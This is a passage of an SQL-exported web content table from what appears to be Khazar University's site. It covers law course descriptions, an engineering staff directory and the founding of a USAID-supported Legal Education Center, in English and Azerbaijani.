Laws </strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</p><p style=\"text-align:justify\"><strong>Prerequisite: LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>The subject of conflict of laws addresses three questions: Which country should hear the case? What law should be applied? What is the effect of its adjudication in another country? This course includes an outline of jurisdiction and judgments techniques but will focus on problems in choice of law, and issues in the exclusion of foreign law. Coverage includes problems in contract and torts, and other areas may be selected from time to time. This course is complementary to International Commercial Litigation, but it stands on its own as an introduction to theories and methodologies in the conflict of laws.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 542: Gender and Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156, LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>An exploration of the ways in which law is used both to advance gender equality and to institutionalize gender-based discrimination. At its core, the course aims to explore the construction of gender and sexuality as reflected in and by the legal process. Topics covered will include: the right to “sexual privacy”; gender and sexuality; legal responses to “sexual speech” and “identity speech”; sexuality and gender in education; gender-based asylum; the changing definition of family; cultural and religious practices and gender; and gender and human rights. Although primarily a course on Azerbaijan jurisprudence, the course will also incorporate international perspectives.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 546: Natural Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course is a historical examination of the development of legal philosophy from ancient times to the contemporary period. It begins with a detailed examination of Aristotle’s work on justice and his concept of how political life should be organized in the ideal state. It then turns to an examination of the various schools of natural law and of the areas in which natural law philosophy enters into contemporary legal thought. The course devotes substantial time to the development of modern legal positivism, as reflected in the work of John Austin, and to the various types of legal philosophy that have been derived from the legal positivism, such as legal realism and contemporary work exploring the basic analytical structure of the legal system. The purpose of the course is to give the student the historical and philosophical background to engage in discussions of contemporary jurisprudential issues.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 548: Entrepreneurship Law&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course introduces civil and legal regulation of entrepreneurship relations, entrepreneurship activity, its regulation and reforms directed to entrepreneurship development. It also reviews and analyzes entrepreneurship concepts that can be directly applied to the practice of law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 602: Labor Disputes Resolution <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 408</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies reasons and conditions of labor disputes (economic, social, legal, etc.), the order of judicial and pre-judicial resolving of conflicts connected to the organization and use of hired labor. This course is a survey of the law of labor relations; it is designed to provide the student with an acquaintance of the more important problems of labor law but not with a comprehensive coverage of the entire field. The course will also examine some aspects of arbitration and the law relating to the enforcement of collective bargaining and will include some discussion of the relationship between law and politics in administrative agencies. During the course, students get an opportunity to discuss all existing problems between employer and employees.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 604: Environmental Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies the role of the legal system in addressing problems of environmental disruption, with special emphasis on air, water, hazardous waste pollution and ecological culture.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 606:&nbsp;</strong><strong>Intellectual Property Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course surveys the legal principles and management of intellectual property, including trademarks, copyrights, trade secrets, and patents. It also focuses on the counseling considerations that surround the exploitation of intellectual properties in foreign markets through licensing, litigation, or both. It also surveys the principal legal systems and international treaty arrangements for copyright, patent, trademark, and neighboring rights, as well as questions of jurisdiction, territoriality, national treatment, and choice of law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 608: Property Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>The course will examine all major property law concepts, including real and personal property rights such as easement and usufructs. Also, this course will review mortgage and pledge rights.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 610: Torts <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>The course explores strict liability and its extensions, alternatives to the torts compensation system, and the impact of insurance and legislation on the common law of torts are also considered. It covers selected topics from the following types of harm to dignitary and relational interests: interference with reputation, business relationships, political relationships, family relationships, and right to privacy.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 616: Theoretical Problems of Punishment in Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>Punishment is a measure of person’s compulsion from the side of a state to a certain law-obeying behavior. There exist many measures of punishment. Criminal punishment is a special and the most severe kind of a punishment. The course studies punishment in criminal law as a social tool and legal institute aimed to prevent new crimes.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 618: Evidence&nbsp;<strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course in the law of evidence aims to give students a thorough understanding of the basic principles in this field of law. Among the topics considered are relevance, authentication, best evidence rule, hearsay, examination, and impeachment of witnesses, privileges, the burden of proof, presumptions, and judicial notice and the functions of judge and jury. Evidence rules constrain proof at criminal and civil trials. It also explores related case law and constitutional concepts that limit proof at criminal trials.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 624:&nbsp;</strong><strong>Corporate Governance <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 118</strong></p><p style=\"text-align:justify\"><strong></strong>Corporate governance is a system of relationships, defined as the structures and processes for the direction and control of companies. This course is considered for business and legal audience. The goal of the course is to improve the corporate governance practices in Azerbaijani joint stock companies, including commercial banks, thereby assisting them to gain access to capital. This course introduces students to the ongoing convergence of the corporate and capital market laws of various jurisdictions, and to the role of international law and international organizations in that process.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 626: Real Estate Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>Real estate law includes all of the areas of law of common concern to the typical real estate practitioner and investor-consumer. Among topics covered are the law of agency as applied to real estate brokers and salespersons, the law of fixtures, freehold, and leasehold, estates, conveyance of real estate and real estate managers.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 628: Proceedings in the First and Appellate Court Instances&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course explores the processing of cases in the court. The course also covers issues such as a sentence, verdict, appeal, protest and other activities of the Court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 630: Proceedings in Supreme Court&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies the activity of Supreme Court and how to refer to the Court of Cassation for the complaint and protests. The course also focuses on plenum activity of the court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 634: Preliminary Inquiry <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>The preliminary inquiry is a stage of criminal procedure aimed at quick and full disclosure of crimes. This course studies structure and functions of bodies of preliminary inquiry as well as basic principles of this stage.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>INTLAW 156: Comparative Constitutional Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies a fundamental branch of Law - Constitutional Law, using methods of comparative analysis. Theory, law, and practice of the Constitution, including legislative, executive and judicial institutions in various countries, as well as constitutional law notions such as the rule of law, constitutional amendment, and fundamental rights and freedoms will be studied during the course. The course will also analyze in comparative perspectives organization of governments, their functioning, legal freedom of social organizations and individuals on the base of the constitutional systems of various countries. It also introduces the principal aspects of judicial review, separation of powers, federalism, equality, and fundamental rights.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 168: Comparative Administrative Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\">This course is based on a comparative method of various legal systems’ study in the sphere of Administrative Law. During the course-specific types of public administration carried out by the bodies of executive power in political, administrative, economic, social and cultural spheres are studied. It also considers the role of administrative agencies in the scheme of government, constitutional limitations on agency action, and analysis of agency functions; emphasizing informal procedures and placing formal procedures of investigation, rule-making, and hearings in perspective.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 252: Comparative Civil Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>The course on Civil Law is one of the main legal disciplines, the study of which is necessary for all the students of the law department. This course is divided into two main parts. The first part covers general and theoretical aspects of Civil Law in comparative perspectives. The second part discusses definite scientific institutes existing in Civil Law. Among the topics covered during the course, the following can be mentioned: principles of civil rights, bases for civil relations’ occurrence, the occurrence of civil rights and duties, concept of property forms in world civil law systems.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 254: Comparative Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course considers the basic themes of substantive criminal law, including criminal responsibility, the significance of the act, intent, causation and result, justification and excuse, and the rationale of punishment. General doctrinal principles of the criminal law and illustrative crimes are studied, usually including the following topics: defenses, insanity, attempts, conspiracy, and aspects of the law of homicide and rape. The course considers also constitutional principles of criminal justice. Among the topics that may be studied are search and seizure, the privilege against compulsory self-incrimination, the right to counsel, plea-bargaining, aspects of a trial, and sentencing.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 256: Law of International Organizations <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>The course is intended to examine the principal issues concerning organizations composed of states. These include the legal status and powers of organizations, membership, and participation, dispute settlement, enforcement of decisions, peace and security activities, and protection of human rights. The course will consist of three major parts: the UN, European Union, and the Council of Europe and OSCE.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 258: International Public Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course introduces to the students the basic legal concepts and principles governing state behavior in the international order, the nature and sources of international law, the law of treaties, sovereignty of states and recognition of statehood, jurisdiction, immunities, and responsibility. It also examines substantive international legal obligations regarding the law of the sea, human rights, refugees/asylum seekers and international criminal law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 262: Human Rights&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course examines the law, theory, and practice of international human rights. It is designed to provide students with an informed and critical perspective on international instruments, intergovernmental organizations, and domestic legal arrangements related to the articulation and implementation of human rights. Topics will include the origins and theory of global human rights; the relationship between human rights norms and issues of state sovereignty; the universal or culturally particular nature of human rights; connections between civil, political, social, and economic rights; transnational strategies associated with implementation and enforcement; and institutional remedies in response to massive human rights violations. This course focuses on the developing law of international human rights, with an emphasis on international human rights agreements, international and regional human rights courts and tribunals, and international human rights organizations, both governmental and non-governmental.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 264: International Environmental Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course will provide the students with a basic background in some of the major legal issues in contemporary IEL. It will examine topics such as customary international environmental law, legal and institutional frameworks of IEL, and other general topics. It also examines more specific legal issues in the field of IEL, such as transboundary (cross-border) pollution, the marine environment, hazardous waste and toxic materials and the relationship between trade and environmental law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 352: Comparative Civil Process&nbsp;<strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 252</strong></p><p style=\"text-align:justify\"><strong></strong>The course focuses on approaches to such matters as service of process, joinder, preliminary motions, multiple claims and parties, amendments, discovery, directed verdicts, summary judgment,&nbsp;<em>res judicata</em>, and collateral&nbsp;<em>estoppel</em>&nbsp;in comparative perspectives.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 354: Comparative Criminal Process <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 254</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on the works of inquiry bodies, bodies of the preliminary investigation, public prosecutors, and courts on excitation, investigation, examination, and settlement of criminal cases. The course will be concentrated on the following issues: legal status of suspected, accused, lawyer, a victim, witnesses, the civil claimant, the respondent, etc. Knowledge obtained during this course will help to fight effectively criminality, defend rights and legal interests both of the state and its concrete subjects. Basic questions, defining the order of activities of investigation bodies, a public prosecutor and court are studied in comparison with the criminal procedure systems of USA, UK, France, and Turkey.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 356: International Economic Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>The first half of the course introduces essential principles of economic institutions and transactions at the international level, including the law relating to the IMF, GATT, and World Bank. In the second half of the course the following topics will be covered: subsidies, trade-related intellectual property, regional economic integration, preferential and commodity trading, sovereign debt and environmental issues in international trade.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 362: International Private Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258, INTLAW 252</strong></p><p style=\"text-align:justify\"><strong></strong>The aim of the course is to impart knowledge relating to taking international jurisdiction, choice of law, and recognition of foreign judgments in cases involving a foreign element; to gain experience of purposive interpretative approaches to international and European conventions aimed at harmonization of private international law. The course also intends to develop an understanding of the concepts of international jurisdiction, recognition of foreign judgments, choice of law issues in the law of obligations, family law, and the law of property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 368: Diplomacy Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 256, INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>A system of Diplomacy Law corresponds with the main forms of diplomacy: bilateral diplomacy, which is carried out through diplomatic representatives or special missions, multilateral diplomacy and permanent representatives at the international organizations, etc. Diplomacy Law is a branch of International Law, which represents a totality of norms, regulating status and functions of the external relations’ state bodies.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 372: International Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course explores the sources and the objectives of international criminal justice, as well as study institutions of international criminal law like war crimes tribunals. Crimes designated as falling under the jurisdiction of international criminal courts, questions of command responsibility, superior orders, unique procedural issues, and alternatives such as truth commissions will all be carefully treated. It also explores the application of domestic and international law to questions of jurisdiction over international criminal activities, granting of amnesty to persons responsible for international crimes, international cooperation in criminal matters, the substantive international law as contained in multilateral treaties concerning war crimes and terrorism, and the permanent International Criminal Court.</p>'),(975,629,'az','Nəşrlər','Nəşrlər','<p><strong><a href=\"http://www.khazar.org/files/pdf/Publication_low.pdf\">Nəşrlər</a><a></a></strong></p>'),(976,629,'en',' Publications',' Publications','<strong><p><a href=\"http://www.khazar.org/files/pdf/Publication_low.pdf\">Publications</a></p></strong>'),(3128,1848,'en','Faculty and Staff','Faculty and Staff','<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/mirsadegh_seyedzavvar_cv.pdf\">Mirsadegh Seyedzavvar</a></strong><strong><img src=\"/files/engineering/images/mirsadegh_s.jpg\" style=\"float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p>PhD&nbsp;in Manufacturing and Production (University of Tabriz,  Iran)</p><p>MS&nbsp;in Mechanical Engineering (University of Tabriz, Iran)<br></p><strong>  </strong><p><strong style=\"font-weight:bold\">E-mail</strong><span style=\"font-weight:bold\">:&nbsp;</span><a href=\"mailto:mseyedzavvar@khazar.org\">mseyedzavvar[at]khazar.org</a>  <br></p><p><strong>Phone:&nbsp;</strong>(+994&nbsp;12) 421 10 93 (227)</p><hr><strong></strong><strong></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Hassan%20Niknafs.pdf\"><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"width:150px;height:202px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Hassan%20Niknafs.pdf\">Hassan Niknafs</a></strong> <strong>- Professor</strong></p><p>PhD&nbsp;in Computational Fluid Dynamics (The University of Akron, Ohio, USA)</p><p>MS&nbsp;in Mechanical Engineering&nbsp;(Youngstown State University, Ohio, USA)&nbsp;</p><p>BS, MS in Chemical Engineering (Shiraz University, former Pahlavi University, Shiraz, Iran)</p><p style=\"padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:rmoradi@khazar.org\"></a><a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a></p><p style=\"padding-left:160px\"><br></p>  <hr><p><a href=\"http://www.khazar.org/files/engineering/Mehdi_K_CV-new.pdf\"><img src=\"/files/engineering/images/mehdi_kiyasatfar.jpg\" style=\"float:left;width:150px;height:128px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Mehdi Kiyasatfar</strong></a></p><p>PhD in Mechanical Engineering (Urmia University, Iran)</p><p>MS in Mechanical Engineering (Urmia University, Iran)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:m.kiyasatfar@gmail.com\"></a><a href=\"mailto:mkiyasatfar@khazar.org\">mkiyasatfar[at]khazar.org</a></p><hr><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Zahid%20Nabiyev.pdf\"><strong><img src=\"/files/engineering/images/zahid_n.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Zahid Nabiyev</strong></a></p><p>MS in Design of Rotating Machines (Cranfield University, UK)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:zahidnabiyev@gmail.com\">zahidnabiyev[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\">Ali Huseynli</a></strong></p><p>PhD&nbsp;in Mathematics&nbsp;(Institute of Mathematics and Mechanics, Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a></p><p><br></p>  <hr> <p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"/files/engineering/images/Rasul_Muradi.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a>&nbsp;</strong></p><p>PhD&nbsp;in Chemical Engineering (University of Tehran, Iran)&nbsp;</p><p>MS&nbsp;in Chemical Engineering (Sharif University of Technology, Iran)  <br></p><p><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a></p><p><br></p><p><br></p>  <hr><p><strong><img src=\"/files/engineering/images/Farid-Aliyev.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/cv-farid%20aliyev-english..pdf\">Farid Aliyev</a></strong></p><p>MS in&nbsp;Piping Engineering and Design&nbsp;(University of San Jorge,&nbsp;Spain)</p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:faridaliyev87@gmail.com\">faridaliyev87[at]gmail.com</a></p><p><br></p><p><br></p>  <hr><p><img src=\"/files/radio_depart/Sabuhi_Ganiyev.jpg\" style=\"margin:7px;float:left;width:150px;height:197px\"><strong><a href=\"http://www.khazar.org/files/radio_depart/CV-Sabuhi_Ganiyev_p%20copy%202.pdf\">Sabuhi Ganiyev</a></strong></p><p>MS in&nbsp;Electronics Engineering (International&nbsp;Islamic University Malaysia,&nbsp;Kuala Lumpur, Malaysia)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:sqaniyev@khazar.org\">sqaniyev[at]khazar.org</a>  <a href=\"mailto:s.ganiyev@gmail.com/\"></a></p><p><br></p><p><br></p><p><br></p>'),(977,630,'az','Hüquq Tədris Mərkəzi','Hüquq Tədris Mərkəzi','<p style=\"font-size:medium;text-align:justify\"><strong>Hüquq Tədris Mərkəzi&nbsp;</strong>2013-cü ilin yanvar ayında Azərbaycan Hüquqşünasları Konfederasiyası (AHK) və ABŞ İnkişaf Agentliyi (USAID) dəstəyi ilə “Azərbaycan Hüquq Konsorsiumu” layihəsi çərçivəsində yaradılmışdır. AHK layihəsinin ümumi məqsədləri hüququn aliliyinin, vətəndaşların hüquqlarının və maraqlarının daha yaxşı müdafiəsinin təmin olunması üçün hüquqi maarifləndirmə və vətəndaş cəmiyyətinin təsirliliyinin artırılmasıdır. Layihənin xüsusi məqsədləri isə Azərbaycan hökümət dairələrinin vətəndaşların hüquqlarının qorunması sahəsində həyata keçirilən islahatların inkişafının aktiv şəkildə dəstəklənməsi və təşviq edilməsi, müştərilərə yardım göstərilməsi və qanunların tətbiqi sahəsində hüquqi peşəkarlığın səviyyəsinin artırılmasından ibarətdir.</p><p style=\"font-size:medium;text-align:justify\">Hazırda Azərbaycanda gənc hüquqşünasların hazırlanması əsasən akademik&nbsp; səviyyədə keçirilir. Belə ki, tələbələrin kifayət qədər praktiki vərdişlərə yiyələnməməsi uğurlu karyeranın başlanmasına təsir edir. Bu məqsədlə Mərkəzdə gənc məzun və hüquqşünas tələbələr üçün intensiv təlimlərin keçirilməsi və müxtəlif mövzuda nəşriyyatların çap olunması nəzərdə tutulur. Kursların nüfuzunu və xidmətlərin yüksək keyfiyyətliliyini&nbsp; təmin etmək məqsədilə Tədris Mərkəzinə hüquq elmini tədris edən aparıcı mütəxəssislər və praktik hüquqşünaslar cəlb olunur. Bundan başqa, gənc hüquqşünaslara və hüquq tələbələrinə insan hüquqları üzrə biliklərin praktiki baxımdan təkmilləşdirilməsi, vəkillik bacarıqlarının aşılanması, məhkəmə çəkişmələri və məhkəmə çıxışları zamanı peşəkar hüquqşünaslarla müşayiət olunmaları nəzərdə tutulmuşdur. Mərkəz hər il ən azı 20 tələbəyə yüksək keyfiyyətli əsaslarla təlim-tədris kursları keçməyi və 6-7 gənc hüquqşünası Vəkillər Kollegiyasına üzv olmaq üçün imtahanlara hazırlaşdırmağı planlaşdırır.</p><p style=\"font-size:medium;text-align:justify\"><strong>Mərkəzin məqsədi aşağıdakılardan ibarətdir:</strong></p><ul style=\"font-size:medium\"><li style=\"text-align:justify\"><em>İnsan hüquq və azadlıqları sahəsində biliklərin və məlumatların artırılması, cəmiyyətdə konstitusionalizm dəyərlərinin təbliği;</em></li><li style=\"text-align:justify\"><em>Gənc hüquqşünasların vəkillik üzrə imtahanlara hazırlanması;</em></li><li style=\"text-align:justify\"><em>Az təminatlı əhali qruplarına pulsuz hüquqi yardımların göstərilməsi;</em></li><li style=\"text-align:justify\"><em>İnsan hüquqlarının müdafiəsi ilə məşğul olan təsisatların nümayəndələrinin və üzvlərinin insan hüquqlarının müdafiəsinin milli və beynəlxalq mexanizmlərində istifadə bacarığının artırılması üçün dövrü kursların təşkili;</em></li><li style=\"text-align:justify\"><em>Gənc hüquqşünasların və Azərbaycan Respublikasının ərazisində fəaliyyət göstərən Universitetlərin hüquq fakültəsi tələbələri ilə hüquq sahəsində tanınmış milli və beynəlxalq ekspertlərlə görüşlərin təşkili;</em></li><li style=\"text-align:justify\"><em>Vəkillər, praktiki fəaliyyətlə məşğul olan hüquqşünaslar, hakimlər, insan hüquqlarını müdafiə edən təsisatlar və şəxslər üçün praktikumların, manualların, metodiki vəsaitlərin hazırlanması və mütəmadi sərgi təşkil etməklə onların satışının təşkili.</em></li></ul><p style=\"font-size:medium;text-align:justify\">Hüququn ayrı-ayrı sahələrindəki boşluqları nəzərə alaraq yerli və beynəlxalq ekspertlərin dəstəyi əsasında Mərkəzdə İnzibati hüquq, Cinayət hüququ, Qanunvericilik texnologiyası,&nbsp;Vəkillik imtahanına hazırlıq, İnsan Hüquqları üzrə Avropa Məhkəməsinin Presedent Hüququ, Ailə hüququ, Əmək hüququ, Hüquqi yazı və s. mövzularda təlimlər keçiriləcək.</p>'),(978,630,'en','Legal Education Center','Legal Education Center','<p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>The Legal Education Center&nbsp;</strong>was established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project in January 2013. The purpose of the Azerbaijan Rights Consortium Project (ARC) is to increase the effectiveness of civil society and legal professionals to better defend the rights and interests of citizens and to improve the rule of law.&nbsp;This will be reached through achievement of two 